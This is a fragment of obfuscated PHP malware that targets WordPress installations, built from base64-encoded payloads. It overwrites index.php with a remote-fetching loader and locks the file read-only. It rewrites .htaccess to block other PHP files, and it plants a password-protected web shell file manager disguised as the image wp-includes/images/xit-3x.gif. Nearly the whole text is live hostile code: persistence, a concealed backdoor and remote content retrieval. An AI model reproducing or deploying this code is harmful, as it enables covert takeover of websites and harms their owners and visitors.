pIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICA